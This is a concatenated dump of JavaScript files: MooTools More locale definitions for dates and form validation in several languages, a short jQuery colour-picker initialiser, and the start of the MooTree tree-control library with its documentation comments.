	yearsAgo: function(delta){ return '{delta} ' + pluralize(delta, 'год', 'года', 'лет') + ' назад'; },

	lessThanMinuteUntil: 'меньше чем через минуту',
	minuteUntil: 'через минуту',
	minutesUntil: function(delta){ return 'через {delta} ' + pluralize(delta, 'час', 'часа', 'часов') + ''; },
	hourUntil: 'через час',
	hoursUntil: function(delta){ return 'через {delta} ' + pluralize(delta, 'час', 'часа', 'часов') + ''; },
	dayUntil: 'завтра',
	daysUntil: function(delta){ return 'через {delta} ' + pluralize(delta, 'день', 'дня', 'дней') + ''; },
	weekUntil: 'через неделю',
	weeksUntil: function(delta){ return 'через {delta} ' + pluralize(delta, 'неделю', 'недели', 'недель') + ''; },
	monthUntil: 'через месяц',
	monthsUntil: function(delta){ return 'через {delta} ' + pluralize(delta, 'месяц', 'месяца', 'месецев') + ''; },
	yearUntil: 'через',
	yearsUntil: function(delta){ return 'через {delta} ' + pluralize(delta, 'год', 'года', 'лет') + ''; }

});



})();


/*
---

name: Locale.ru-RU-unicode.Form.Validator

description: Form Validator messages for Russian (utf-8).

license: MIT-style license

authors:
  - Chernodarov Egor

requires:
  - /Locale

provides: [Locale.ru-RU.Form.Validator]

...
*/

Locale.define('ru-RU', 'FormValidator', {

	required: 'Это поле обязательно к заполнению.',
	minLength: 'Пожалуйста, введите хотя бы {minLength} символов (Вы ввели {length}).',
	maxLength: 'Пожалуйста, введите не больше {maxLength} символов (Вы ввели {length}).',
	integer: 'Пожалуйста, введите в это поле число. Дробные числа (например 1.25) тут не разрешены.',
	numeric: 'Пожалуйста, введите в это поле число (например "1" или "1.1", или "-1", или "-1.1").',
	digits: 'В этом поле Вы можете использовать только цифры и знаки пунктуации (например, телефонный номер со знаками дефиса или с точками).',
	alpha: 'В этом поле можно использовать только латинские буквы (a-z). Пробелы и другие символы запрещены.',
	alphanum: 'В этом поле можно использовать только латинские буквы (a-z) и цифры (0-9). Пробелы и другие символы запрещены.',
	dateSuchAs: 'Пожалуйста, введите корректную дату {date}',
	dateInFormatMDY: 'Пожалуйста, введите дату в формате ММ/ДД/ГГГГ (например "12/31/1999")',
	email: 'Пожалуйста, введите корректный емейл-адрес. Для примера "fred@domain.com".',
	url: 'Пожалуйста, введите правильную ссылку вида http://www.example.com.',
	currencyDollar: 'Пожалуйста, введите сумму в долларах. Например: $100.00 .',
	oneRequired: 'Пожалуйста, выберите хоть что-нибудь в одном из этих полей.',
	errorPrefix: 'Ошибка: ',
	warningPrefix: 'Внимание: '

});




/*
---

name: Locale.si-SI.Date

description: Date messages for Slovenian.

license: MIT-style license

authors:
  - Radovan Lozej

requires:
  - /Locale

provides: [Locale.si-SI.Date]

...
*/

(function(){

var pluralize = function(n, one, two, three, other){
	return (n >= 1 && n <= 3) ? arguments[n] : other;
};

Locale.define('si-SI', 'Date', {

	months: ['januar', 'februar', 'marec', 'april', 'maj', 'junij', 'julij', 'avgust', 'september', 'oktober', 'november', 'december'],
	months_abbr: ['jan', 'feb', 'mar', 'apr', 'maj', 'jun', 'jul', 'avg', 'sep', 'okt', 'nov', 'dec'],
	days: ['nedelja', 'ponedeljek', 'torek', 'sreda', 'četrtek', 'petek', 'sobota'],
	days_abbr: ['ned', 'pon', 'tor', 'sre', 'čet', 'pet', 'sob'],

	// Culture's date order: DD.MM.YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d.%m.%Y',
	shortTime: '%H.%M',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: '.',

	lessThanMinuteAgo: 'manj kot minuto nazaj',
	minuteAgo: 'minuto nazaj',
	minutesAgo: function(delta){ return '{delta} ' + pluralize(delta, 'minuto', 'minuti', 'minute', 'minut') + ' nazaj'; },
	hourAgo: 'uro nazaj',
	hoursAgo: function(delta){ return '{delta} ' + pluralize(delta, 'uro', 'uri', 'ure', 'ur') + ' nazaj'; },
	dayAgo: 'dan nazaj',
	daysAgo: function(delta){ return '{delta} ' + pluralize(delta, 'dan', 'dneva', 'dni', 'dni') + ' nazaj'; },
	weekAgo: 'teden nazaj',
	weeksAgo: function(delta){ return '{delta} ' + pluralize(delta, 'teden', 'tedna', 'tedne', 'tednov') + ' nazaj'; },
	monthAgo: 'mesec nazaj',
	monthsAgo: function(delta){ return '{delta} ' + pluralize(delta, 'mesec', 'meseca', 'mesece', 'mesecov') + ' nazaj'; },
	yearthAgo: 'leto nazaj',
	yearsAgo: function(delta){ return '{delta} ' + pluralize(delta, 'leto', 'leti', 'leta', 'let') + ' nazaj'; },

	lessThanMinuteUntil: 'še manj kot minuto',
	minuteUntil: 'še minuta',
	minutesUntil: function(delta){ return 'še {delta} ' + pluralize(delta, 'minuta', 'minuti', 'minute', 'minut'); },
	hourUntil: 'še ura',
	hoursUntil: function(delta){ return 'še {delta} ' + pluralize(delta, 'ura', 'uri', 'ure', 'ur'); },
	dayUntil: 'še dan',
	daysUntil: function(delta){ return 'še {delta} ' + pluralize(delta, 'dan', 'dneva', 'dnevi', 'dni'); },
	weekUntil: 'še tedn',
	weeksUntil: function(delta){ return 'še {delta} ' + pluralize(delta, 'teden', 'tedna', 'tedni', 'tednov'); },
	monthUntil: 'še mesec',
	monthsUntil: function(delta){ return 'še {delta} ' + pluralize(delta, 'mesec', 'meseca', 'meseci', 'mesecov'); },
	yearUntil: 'še leto',
	yearsUntil: function(delta){ return 'še {delta} ' + pluralize(delta, 'leto', 'leti', 'leta', 'let'); }

});

})();


/*
---

name: Locale.si-SI.Form.Validator

description: Form Validator messages for Slovenian.

license: MIT-style license

authors:
  - Radovan Lozej

requires:
  - /Locale

provides: [Locale.si-SI.Form.Validator]

...
*/

Locale.define('si-SI', 'FormValidator', {

	required: 'To polje je obvezno',
	minLength: 'Prosim, vnesite vsaj {minLength} znakov (vnesli ste {length} znakov).',
	maxLength: 'Prosim, ne vnesite več kot {maxLength} znakov (vnesli ste {length} znakov).',
	integer: 'Prosim, vnesite celo število. Decimalna števila (kot 1,25) niso dovoljena.',
	numeric: 'Prosim, vnesite samo numerične vrednosti (kot "1" ali "1.1" ali "-1" ali "-1.1").',
	digits: 'Prosim, uporabite številke in ločila le na tem polju (na primer, dovoljena je telefonska številka z pomišlaji ali pikami).',
	alpha: 'Prosim, uporabite le črke v tem plju. Presledki in drugi znaki niso dovoljeni.',
	alphanum: 'Prosim, uporabite samo črke ali številke v tem polju. Presledki in drugi znaki niso dovoljeni.',
	dateSuchAs: 'Prosim, vnesite pravilen datum kot {date}',
	dateInFormatMDY: 'Prosim, vnesite pravilen datum kot MM.DD.YYYY (primer "12.31.1999")',
	email: 'Prosim, vnesite pravilen email naslov. Na primer "fred@domain.com".',
	url: 'Prosim, vnesite pravilen URL kot http://www.example.com.',
	currencyDollar: 'Prosim, vnesit epravilno vrednost €. Primer 100,00€ .',
	oneRequired: 'Prosimo, vnesite nekaj za vsaj eno izmed teh polj.',
	errorPrefix: 'Napaka: ',
	warningPrefix: 'Opozorilo: ',

	// Form.Validator.Extras
	noSpace: 'To vnosno polje ne dopušča presledkov.',
	reqChkByNode: 'Nič niste izbrali.',
	requiredChk: 'To polje je obvezno',
	reqChkByName: 'Prosim, izberite {label}.',
	match: 'To polje se mora ujemati z poljem {matchName}',
	startDate: 'datum začetka',
	endDate: 'datum konca',
	currendDate: 'trenuten datum',
	afterDate: 'Datum bi moral biti isti ali po {label}.',
	beforeDate: 'Datum bi moral biti isti ali pred {label}.',
	startMonth: 'Prosim, vnesite začetni datum',
	sameMonth: 'Ta dva datuma morata biti v istem mesecu - premeniti morate eno ali drugo.',
	creditcard: 'Številka kreditne kartice ni pravilna. Preverite številko ali poskusite še enkrat. Vnešenih {length} znakov.'

});


/*
---

name: Locale.sv-SE.Date

description: Date messages for Swedish.

license: MIT-style license

authors:
  - Martin Lundgren

requires:
  - /Locale

provides: [Locale.sv-SE.Date]

...
*/

Locale.define('sv-SE', 'Date', {

	months: ['januari', 'februari', 'mars', 'april', 'maj', 'juni', 'juli', 'augusti', 'september', 'oktober', 'november', 'december'],
	months_abbr: ['jan', 'feb', 'mar', 'apr', 'maj', 'jun', 'jul', 'aug', 'sep', 'okt', 'nov', 'dec'],
	days: ['söndag', 'måndag', 'tisdag', 'onsdag', 'torsdag', 'fredag', 'lördag'],
	days_abbr: ['sön', 'mån', 'tis', 'ons', 'tor', 'fre', 'lör'],

	// Culture's date order: YYYY-MM-DD
	dateOrder: ['year', 'month', 'date'],
	shortDate: '%Y-%m-%d',
	shortTime: '%H:%M',
	AM: '',
	PM: '',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: '',

	lessThanMinuteAgo: 'mindre än en minut sedan',
	minuteAgo: 'ungefär en minut sedan',
	minutesAgo: '{delta} minuter sedan',
	hourAgo: 'ungefär en timme sedan',
	hoursAgo: 'ungefär {delta} timmar sedan',
	dayAgo: '1 dag sedan',
	daysAgo: '{delta} dagar sedan',

	lessThanMinuteUntil: 'mindre än en minut sedan',
	minuteUntil: 'ungefär en minut sedan',
	minutesUntil: '{delta} minuter sedan',
	hourUntil: 'ungefär en timme sedan',
	hoursUntil: 'ungefär {delta} timmar sedan',
	dayUntil: '1 dag sedan',
	daysUntil: '{delta} dagar sedan'

});


/*
---

name: Locale.sv-SE.Form.Validator

description: Form Validator messages for Swedish.

license: MIT-style license

authors:
  - Martin Lundgren

requires:
  - /Locale

provides: [Locale.sv-SE.Form.Validator]

...
*/

Locale.define('sv-SE', 'FormValidator', {

	required: 'Fältet är obligatoriskt.',
	minLength: 'Ange minst {minLength} tecken (du angav {length} tecken).',
	maxLength: 'Ange högst {maxLength} tecken (du angav {length} tecken). ',
	integer: 'Ange ett heltal i fältet. Tal med decimaler (t.ex. 1,25) är inte tillåtna.',
	numeric: 'Ange endast numeriska värden i detta fält (t.ex. "1" eller "1.1" eller "-1" eller "-1,1").',
	digits: 'Använd endast siffror och skiljetecken i detta fält (till exempel ett telefonnummer med bindestreck tillåtet).',
	alpha: 'Använd endast bokstäver (a-ö) i detta fält. Inga mellanslag eller andra tecken är tillåtna.',
	alphanum: 'Använd endast bokstäver (a-ö) och siffror (0-9) i detta fält. Inga mellanslag eller andra tecken är tillåtna.',
	dateSuchAs: 'Ange ett giltigt datum som t.ex. {date}',
	dateInFormatMDY: 'Ange ett giltigt datum som t.ex. YYYY-MM-DD (i.e. "1999-12-31")',
	email: 'Ange en giltig e-postadress. Till exempel "erik@domain.com".',
	url: 'Ange en giltig webbadress som http://www.example.com.',
	currencyDollar: 'Ange en giltig belopp. Exempelvis 100,00.',
	oneRequired: 'Vänligen ange minst ett av dessa alternativ.',
	errorPrefix: 'Fel: ',
	warningPrefix: 'Varning: ',

	// Form.Validator.Extras
	noSpace: 'Det får inte finnas några mellanslag i detta fält.',
	reqChkByNode: 'Inga objekt är valda.',
	requiredChk: 'Detta är ett obligatoriskt fält.',
	reqChkByName: 'Välj en {label}.',
	match: 'Detta fält måste matcha {matchName}',
	startDate: 'startdatumet',
	endDate: 'slutdatum',
	currendDate: 'dagens datum',
	afterDate: 'Datumet bör vara samma eller senare än {label}.',
	beforeDate: 'Datumet bör vara samma eller tidigare än {label}.',
	startMonth: 'Välj en start månad',
	sameMonth: 'Dessa två datum måste vara i samma månad - du måste ändra det ena eller det andra.'

});


/*
---

name: Locale.uk-UA.Date

description: Date messages for Ukrainian (utf-8).

license: MIT-style license

authors:
  - Slik

requires:
  - /Locale

provides: [Locale.uk-UA.Date]

...
*/

(function(){

var pluralize = function(n, one, few, many, other){
	var d = (n / 10).toInt(),
		z = n % 10,
		s = (n / 100).toInt();

	if (d == 1 && n > 10) return many;
	if (z == 1) return one;
	if (z > 0 && z < 5) return few;
	return many;
};

Locale.define('uk-UA', 'Date', {

	months: ['Січень', 'Лютий', 'Березень', 'Квітень', 'Травень', 'Червень', 'Липень', 'Серпень', 'Вересень', 'Жовтень', 'Листопад', 'Грудень'],
	months_abbr: ['Січ', 'Лют', 'Бер', 'Квіт', 'Трав', 'Черв', 'Лип', 'Серп', 'Вер', 'Жовт', 'Лист', 'Груд' ],
	days: ['Неділя', 'Понеділок', 'Вівторок', 'Середа', 'Четвер', "П'ятниця", 'Субота'],
	days_abbr: ['Нд', 'Пн', 'Вт', 'Ср', 'Чт', 'Пт', 'Сб'],

	// Culture's date order: DD/MM/YYYY
	dateOrder: ['date', 'month', 'year'],
	shortDate: '%d/%m/%Y',
	shortTime: '%H:%M',
	AM: 'до полудня',
	PM: 'по полудню',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: '',

	lessThanMinuteAgo: 'меньше хвилини тому',
	minuteAgo: 'хвилину тому',
	minutesAgo: function(delta){ return '{delta} ' + pluralize(delta, 'хвилину', 'хвилини', 'хвилин') + ' тому'; },
	hourAgo: 'годину тому',
	hoursAgo: function(delta){ return '{delta} ' + pluralize(delta, 'годину', 'години', 'годин') + ' тому'; },
	dayAgo: 'вчора',
	daysAgo: function(delta){ return '{delta} ' + pluralize(delta, 'день', 'дня', 'днів') + ' тому'; },
	weekAgo: 'тиждень тому',
	weeksAgo: function(delta){ return '{delta} ' + pluralize(delta, 'тиждень', 'тижні', 'тижнів') + ' тому'; },
	monthAgo: 'місяць тому',
	monthsAgo: function(delta){ return '{delta} ' + pluralize(delta, 'місяць', 'місяці', 'місяців') + ' тому'; },
	yearAgo: 'рік тому',
	yearsAgo: function(delta){ return '{delta} ' + pluralize(delta, 'рік', 'роки', 'років') + ' тому'; },

	lessThanMinuteUntil: 'за мить',
	minuteUntil: 'через хвилину',
	minutesUntil: function(delta){ return 'через {delta} ' + pluralize(delta, 'хвилину', 'хвилини', 'хвилин'); },
	hourUntil: 'через годину',
	hoursUntil: function(delta){ return 'через {delta} ' + pluralize(delta, 'годину', 'години', 'годин'); },
	dayUntil: 'завтра',
	daysUntil: function(delta){ return 'через {delta} ' + pluralize(delta, 'день', 'дня', 'днів'); },
	weekUntil: 'через тиждень',
	weeksUntil: function(delta){ return 'через {delta} ' + pluralize(delta, 'тиждень', 'тижні', 'тижнів'); },
	monthUntil: 'через місяць',
	monthesUntil: function(delta){ return 'через {delta} ' + pluralize(delta, 'місяць', 'місяці', 'місяців'); },
	yearUntil: 'через рік',
	yearsUntil: function(delta){ return 'через {delta} ' + pluralize(delta, 'рік', 'роки', 'років'); }

});

})();


/*
---

name: Locale.uk-UA.Form.Validator

description: Form Validator messages for Ukrainian (utf-8).

license: MIT-style license

authors:
  - Slik

requires:
  - /Locale

provides: [Locale.uk-UA.Form.Validator]

...
*/

Locale.define('uk-UA', 'FormValidator', {

	required: 'Це поле повинне бути заповненим.',
	minLength: 'Введіть хоча б {minLength} символів (Ви ввели {length}).',
	maxLength: 'Кількість символів не може бути більше {maxLength} (Ви ввели {length}).',
	integer: 'Введіть в це поле число. Дробові числа (наприклад 1.25) не дозволені.',
	numeric: 'Введіть в це поле число (наприклад "1" або "1.1", або "-1", або "-1.1").',
	digits: 'В цьому полі ви можете використовувати лише цифри і знаки пунктіації (наприклад, телефонний номер з знаками дефізу або з крапками).',
	alpha: 'В цьому полі можна використовувати лише латинські літери (a-z). Пробіли і інші символи заборонені.',
	alphanum: 'В цьому полі можна використовувати лише латинські літери (a-z) і цифри (0-9). Пробіли і інші символи заборонені.',
	dateSuchAs: 'Введіть коректну дату {date}.',
	dateInFormatMDY: 'Введіть дату в форматі ММ/ДД/РРРР (наприклад "12/31/2009").',
	email: 'Введіть коректну адресу електронної пошти (наприклад "name@domain.com").',
	url: 'Введіть коректне інтернет-посилання (наприклад http://www.example.com).',
	currencyDollar: 'Введіть суму в доларах (наприклад "$100.00").',
	oneRequired: 'Заповніть одне з полів.',
	errorPrefix: 'Помилка: ',
	warningPrefix: 'Увага: ',

	noSpace: 'Пробіли заборонені.',
	reqChkByNode: 'Не відмічено жодного варіанту.',
	requiredChk: 'Це поле повинне бути віміченим.',
	reqChkByName: 'Будь ласка, відмітьте {label}.',
	match: 'Це поле повинно відповідати {matchName}',
	startDate: 'початкова дата',
	endDate: 'кінцева дата',
	currendDate: 'сьогоднішня дата',
	afterDate: 'Ця дата повинна бути такою ж, або пізнішою за {label}.',
	beforeDate: 'Ця дата повинна бути такою ж, або ранішою за {label}.',
	startMonth: 'Будь ласка, виберіть початковий місяць',
	sameMonth: 'Ці дати повинні відноситись одного і того ж місяця. Будь ласка, змініть одну з них.',
	creditcard: 'Номер кредитної карти введений неправильно. Будь ласка, перевірте його. Введено {length} символів.'

});


/*
---

name: Locale.zh-CH.Date

description: Date messages for Chinese (simplified and traditional).

license: MIT-style license

authors:
  - YMind Chan

requires:
  - /Locale

provides: [Locale.zh-CH.Date]

...
*/

// Simplified Chinese
Locale.define('zh-CHS', 'Date', {

	months: ['一月', '二月', '三月', '四月', '五月', '六月', '七月', '八月', '九月', '十月', '十一月', '十二月'],
	months_abbr: ['一', '二', '三', '四', '五', '六', '七', '八', '九', '十', '十一', '十二'],
	days: ['星期日', '星期一', '星期二', '星期三', '星期四', '星期五', '星期六'],
	days_abbr: ['日', '一', '二', '三', '四', '五', '六'],

	// Culture's date order: YYYY-MM-DD
	dateOrder: ['year', 'month', 'date'],
	shortDate: '%Y-%m-%d',
	shortTime: '%I:%M%p',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: '',

	lessThanMinuteAgo: '不到1分钟前',
	minuteAgo: '大约1分钟前',
	minutesAgo: '{delta}分钟之前',
	hourAgo: '大约1小时前',
	hoursAgo: '大约{delta}小时前',
	dayAgo: '1天前',
	daysAgo: '{delta}天前',
	weekAgo: '1星期前',
	weeksAgo: '{delta}星期前',
	monthAgo: '1个月前',
	monthsAgo: '{delta}个月前',
	yearAgo: '1年前',
	yearsAgo: '{delta}年前',

	lessThanMinuteUntil: '从现在开始不到1分钟',
	minuteUntil: '从现在开始約1分钟',
	minutesUntil: '从现在开始约{delta}分钟',
	hourUntil: '从现在开始1小时',
	hoursUntil: '从现在开始约{delta}小时',
	dayUntil: '从现在开始1天',
	daysUntil: '从现在开始{delta}天',
	weekUntil: '从现在开始1星期',
	weeksUntil: '从现在开始{delta}星期',
	monthUntil: '从现在开始一个月',
	monthsUntil: '从现在开始{delta}个月',
	yearUntil: '从现在开始1年',
	yearsUntil: '从现在开始{delta}年'

});

// Traditional Chinese
Locale.define('zh-CHT', 'Date', {

	months: ['一月', '二月', '三月', '四月', '五月', '六月', '七月', '八月', '九月', '十月', '十一月', '十二月'],
	months_abbr: ['一', '二', '三', '四', '五', '六', '七', '八', '九', '十', '十一', '十二'],
	days: ['星期日', '星期一', '星期二', '星期三', '星期四', '星期五', '星期六'],
	days_abbr: ['日', '一', '二', '三', '四', '五', '六'],

	// Culture's date order: YYYY-MM-DD
	dateOrder: ['year', 'month', 'date'],
	shortDate: '%Y-%m-%d',
	shortTime: '%I:%M%p',
	AM: 'AM',
	PM: 'PM',
	firstDayOfWeek: 1,

	// Date.Extras
	ordinal: '',

	lessThanMinuteAgo: '不到1分鐘前',
	minuteAgo: '大約1分鐘前',
	minutesAgo: '{delta}分鐘之前',
	hourAgo: '大約1小時前',
	hoursAgo: '大約{delta}小時前',
	dayAgo: '1天前',
	daysAgo: '{delta}天前',
	weekAgo: '1星期前',
	weeksAgo: '{delta}星期前',
	monthAgo: '1个月前',
	monthsAgo: '{delta}个月前',
	yearAgo: '1年前',
	yearsAgo: '{delta}年前',

	lessThanMinuteUntil: '從現在開始不到1分鐘',
	minuteUntil: '從現在開始約1分鐘',
	minutesUntil: '從現在開始約{delta}分鐘',
	hourUntil: '從現在開始1小時',
	hoursUntil: '從現在開始約{delta}小時',
	dayUntil: '從現在開始1天',
	daysUntil: '從現在開始{delta}天',
	weekUntil: '從現在開始1星期',
	weeksUntil: '從現在開始{delta}星期',
	monthUntil: '從現在開始一個月',
	monthsUntil: '從現在開始{delta}個月',
	yearUntil: '從現在開始1年',
	yearsUntil: '從現在開始{delta}年'

});


/*
---

name: Locale.zh-CH.Form.Validator

description: Form Validator messages for Chinese (simplified and traditional).

license: MIT-style license

authors:
  - YMind Chan

requires:
  - /Locale
  - /Form.Validator

provides: [Form.zh-CH.Form.Validator, Form.Validator.CurrencyYuanValidator]

...
*/

// Simplified Chinese
Locale.define('zh-CHS', 'FormValidator', {

	required: '此项必填。',
	minLength: '请至少输入 {minLength} 个字符 (已输入 {length} 个)。',
	maxLength: '最多只能输入 {maxLength} 个字符 (已输入 {length} 个)。',
	integer: '请输入一个整数,不能包含小数点。例如:"1", "200"。',
	numeric: '请输入一个数字,例如:"1", "1.1", "-1", "-1.1"。',
	digits: '请输入由数字和标点符号组成的内容。例如电话号码。',
	alpha: '请输入 A-Z 的 26 个字母,不能包含空格或任何其他字符。',
	alphanum: '请输入 A-Z 的 26 个字母或 0-9 的 10 个数字,不能包含空格或任何其他字符。',
	dateSuchAs: '请输入合法的日期格式,如:{date}。',
	dateInFormatMDY: '请输入合法的日期格式,例如:YYYY-MM-DD ("2010-12-31")。',
	email: '请输入合法的电子信箱地址,例如:"fred@domain.com"。',
	url: '请输入合法的 Url 地址,例如:http://www.example.com。',
	currencyDollar: '请输入合法的货币符号,例如:¥100.0',
	oneRequired: '请至少选择一项。',
	errorPrefix: '错误:',
	warningPrefix: '警告:',

	// Form.Validator.Extras
	noSpace: '不能包含空格。',
	reqChkByNode: '未选择任何内容。',
	requiredChk: '此项必填。',
	reqChkByName: '请选择 {label}.',
	match: '必须与{matchName}相匹配',
	startDate: '起始日期',
	endDate: '结束日期',
	currendDate: '当前日期',
	afterDate: '日期必须等于或晚于 {label}.',
	beforeDate: '日期必须早于或等于 {label}.',
	startMonth: '请选择起始月份',
	sameMonth: '您必须修改两个日期中的一个,以确保它们在同一月份。',
	creditcard: '您输入的信用卡号码不正确。当前已输入{length}个字符。'

});

// Traditional Chinese
Locale.define('zh-CHT', 'FormValidator', {

	required: '此項必填。 ',
	minLength: '請至少輸入{minLength} 個字符(已輸入{length} 個)。 ',
	maxLength: '最多只能輸入{maxLength} 個字符(已輸入{length} 個)。 ',
	integer: '請輸入一個整數,不能包含小數點。例如:"1", "200"。 ',
	numeric: '請輸入一個數字,例如:"1", "1.1", "-1", "-1.1"。 ',
	digits: '請輸入由數字和標點符號組成的內容。例如電話號碼。 ',
	alpha: '請輸入AZ 的26 個字母,不能包含空格或任何其他字符。 ',
	alphanum: '請輸入AZ 的26 個字母或0-9 的10 個數字,不能包含空格或任何其他字符。 ',
	dateSuchAs: '請輸入合法的日期格式,如:{date}。 ',
	dateInFormatMDY: '請輸入合法的日期格式,例如:YYYY-MM-DD ("2010-12-31")。 ',
	email: '請輸入合法的電子信箱地址,例如:"fred@domain.com"。 ',
	url: '請輸入合法的Url 地址,例如:http://www.example.com。 ',
	currencyDollar: '請輸入合法的貨幣符號,例如:¥100.0',
	oneRequired: '請至少選擇一項。 ',
	errorPrefix: '錯誤:',
	warningPrefix: '警告:',

	// Form.Validator.Extras
	noSpace: '不能包含空格。 ',
	reqChkByNode: '未選擇任何內容。 ',
	requiredChk: '此項必填。 ',
	reqChkByName: '請選擇 {label}.',
	match: '必須與{matchName}相匹配',
	startDate: '起始日期',
	endDate: '結束日期',
	currendDate: '當前日期',
	afterDate: '日期必須等於或晚於{label}.',
	beforeDate: '日期必須早於或等於{label}.',
	startMonth: '請選擇起始月份',
	sameMonth: '您必須修改兩個日期中的一個,以確保它們在同一月份。 ',
	creditcard: '您輸入的信用卡號碼不正確。當前已輸入{length}個字符。 '

});

Form.Validator.add('validate-currency-yuan', {

	errorMsg: function(){
		return Form.Validator.getMsg('currencyYuan');
	},

	test: function(element){
		// [¥]1[##][,###]+[.##]
		// [¥]1###+[.##]
		// [¥]0.##
		// [¥].##
		return Form.Validator.getValidator('IsEmpty').test(element) || (/^¥?\-?([1-9]{1}[0-9]{0,2}(\,[0-9]{3})*(\.[0-9]{0,2})?|[1-9]{1}\d*(\.[0-9]{0,2})?|0(\.[0-9]{0,2})?|(\.[0-9]{1,2})?)$/).test(element.get('value'));
	}

});

PK!�c8���js/color-field-init.min.jsnu�[���jQuery(document).ready(function($){$("select.simplecolors").simplecolors();$(document).on("subform-row-add",function(event,row){$(row).find("select.simplecolors").simplecolors()})});PK!'k���U�Ujs/mootree-uncompressed.jsnu�[���/*
Script: mootree.js
	My Object Oriented Tree
	- Developed by Rasmus Schultz, <http://www.mindplay.dk>
	- Tested with MooTools release 1.2, under Firefox 2, Opera 9 and Internet Explorer 6 and 7.

License:
	MIT-style license.

Credits:
	Inspired by:
	- WebFX xTree, <http://webfx.eae.net/dhtml/xtree/>
	- Destroydrop dTree, <http://www.destroydrop.com/javascripts/tree/>

Changes:

	rev.12:
	- load() only worked once on the same node, fixed.
	- the script would sometimes try to get 'R' from the server, fixed.
	- the 'load' attribute is now supported in XML files (see example_5.html).

	rev.13:
	- enable() and disable() added - the adopt() and load() methods use these to improve performance by minimizing the number of visual updates.

	rev.14:
	- toggle() was using enable() and disable() which actually caused it to do extra work - fixed.

	rev.15:
	- adopt() now picks up 'href', 'target', 'title' and 'name' attributes of the a-tag, and stores them in the data object.
	- adopt() now picks up additional constructor arguments from embedded comments, e.g. icons, colors, etc.
	- documentation now generates properly with NaturalDocs, <http://www.naturaldocs.org/>

	rev.16:
	- onClick events added to MooTreeControl and MooTreeNode
	- nodes can now have id's - <MooTreeControl.get> method can be used to find a node with a given id

	rev.17:
	- changed icon rendering to use innerHTML, making the control faster (and code size slightly smaller).

	rev.18:
	- migrated to MooTools 1.2 (previous versions no longer supported)

*/

var MooTreeIcon = ['I','L','Lminus','Lplus','Rminus','Rplus','T','Tminus','Tplus','_closed','_doc','_open','minus','plus'];

/*
Class: MooTreeControl
	This class implements a tree control.

Properties:
	root - returns the root <MooTreeNode> object.
	selected - returns the currently selected <MooTreeNode> object, or null if nothing is currently selected.

Events:
	onExpand - called when a node is expanded or collapsed: function(node, state) - where node is the <MooTreeNode> object that fired the event, and state is a boolean meaning true:expanded or false:collapsed.
	onSelect - called when a node is selected or deselected: function(node, state) - where node is the <MooTreeNode> object that fired the event, and state is a boolean meaning true:selected or false:deselected.
	onClick - called when a node is clicked: function(node) - where node is the <MooTreeNode> object that fired the event.

Parameters:
	The constructor takes two object parameters: config and options.
	The first, config, contains global settings for the tree control - you can use the configuration options listed below.
	The second, options, should contain options for the <MooTreeNode> constructor - please refer to the options listed in the <MooTreeNode> documentation.

Config:
	div - a string representing the div Element inside which to build the tree control.
	mode - optional string, defaults to 'files' - specifies default icon behavior. In 'files' mode, empty nodes have a document icon - whereas, in 'folders' mode, all nodes are displayed as folders (a'la explorer).
	grid - boolean, defaults to false. If set to true, a grid is drawn to outline the structure of the tree.

	theme - string, optional, defaults to 'mootree.gif' - specifies the 'theme' GIF to use.

	loader - optional, an options object for the <MooTreeNode> constructor - defaults to {icon:'mootree_loader.gif', text:'Loading...', color:'a0a0a0'}

	onExpand - optional function (see Events above)
	onSelect - optional function (see Events above)

*/

var MooTreeControl = new Class({

	initialize: function(config, options) {

		options.control = this;               // make sure our new MooTreeNode knows who it's owner control is
		options.div = config.div;             // tells the root node which div to insert itself into
		this.root = new MooTreeNode(options); // create the root node of this tree control

		this.index = new Object();            // used by the get() method

		this.enabled = true;                  // enable visual updates of the control

		this.theme = config.theme || 'mootree.gif';

		this.loader = config.loader || {icon:'mootree_loader.gif', text:'Loading...', color:'#a0a0a0'};

		this.selected = null;                 // set the currently selected node to nothing
		this.mode = config.mode;              // mode can be "folders" or "files", and affects the default icons
		this.grid = config.grid;              // grid can be turned on (true) or off (false)

		this.onExpand = config.onExpand || new Function(); // called when any node in the tree is expanded/collapsed
		this.onSelect = config.onSelect || new Function(); // called when any node in the tree is selected/deselected
		this.onClick = config.onClick || new Function(); // called when any node in the tree is clicked

		this.root.update(true);

	},

	/*
	Property: insert
		Creates a new node under the root node of this tree.

	Parameters:
		options - an object containing the same options available to the <MooTreeNode> constructor.

	Returns:
		A new <MooTreeNode> instance.
	*/

	insert: function(options) {
		options.control = this;
		return this.root.insert(options);
	},

	/*
	Property: select
		Sets the currently selected node.
		This is called by <MooTreeNode> when a node is selected (e.g. by clicking it's title with the mouse).

	Parameters:
		node - the <MooTreeNode> object to select.
	*/

	select: function(node) {
		this.onClick(node); node.onClick(); // fire click events
		if (this.selected === node) return; // already selected
		if (this.selected) {
			// deselect previously selected node:
			this.selected.select(false);
			this.onSelect(this.selected, false);
		}
		// select new node:
		this.selected = node;
		node.select(true);
		this.onSelect(node, true);
	},

	/*
	Property: expand
		Expands the entire tree, recursively.
	*/

	expand: function() {
		this.root.toggle(true, true);
	},

	/*
	Property: collapse
		Collapses the entire tree, recursively.
	*/

	collapse: function() {
		this.root.toggle(true, false);
	},

	/*
	Property: get
		Retrieves the node with the given id - or null, if no node with the given id exists.

	Parameters:
		id - a string, the id of the node you wish to retrieve.

	Note:
		Node id can be assigned via the <MooTreeNode> constructor, e.g. using the <MooTreeNode.insert> method.
	*/

	get: function(id) {
		return this.index[id] || null;
	},

	/*
	Property: adopt
		Adopts a structure of nested ul/li/a elements as tree nodes, then removes the original elements.

	Parameters:
		id - a string representing the ul element to be adopted, or an element reference.
		parentNode - optional, a <MooTreeNode> object under which to import the specified ul element. Defaults to the root node of the parent control.

	Note:
		The ul/li structure must be properly nested, and each li-element must contain one a-element, e.g.:

		><ul id="mytree">
		>  <li><a href="test.html">Item One</a></li>
		>  <li><a href="test.html">Item Two</a>
		>    <ul>
		>      <li><a href="test.html">Item Two Point One</a></li>
		>      <li><a href="test.html">Item Two Point Two</a></li>
		>    </ul>
		>  </li>
		>  <li><a href="test.html"><!-- icon:_doc; color:#ff0000 -->Item Three</a></li>
		></ul>

		The "href", "target", "title" and "name" attributes of the a-tags are picked up and stored in the
		data property of the node.

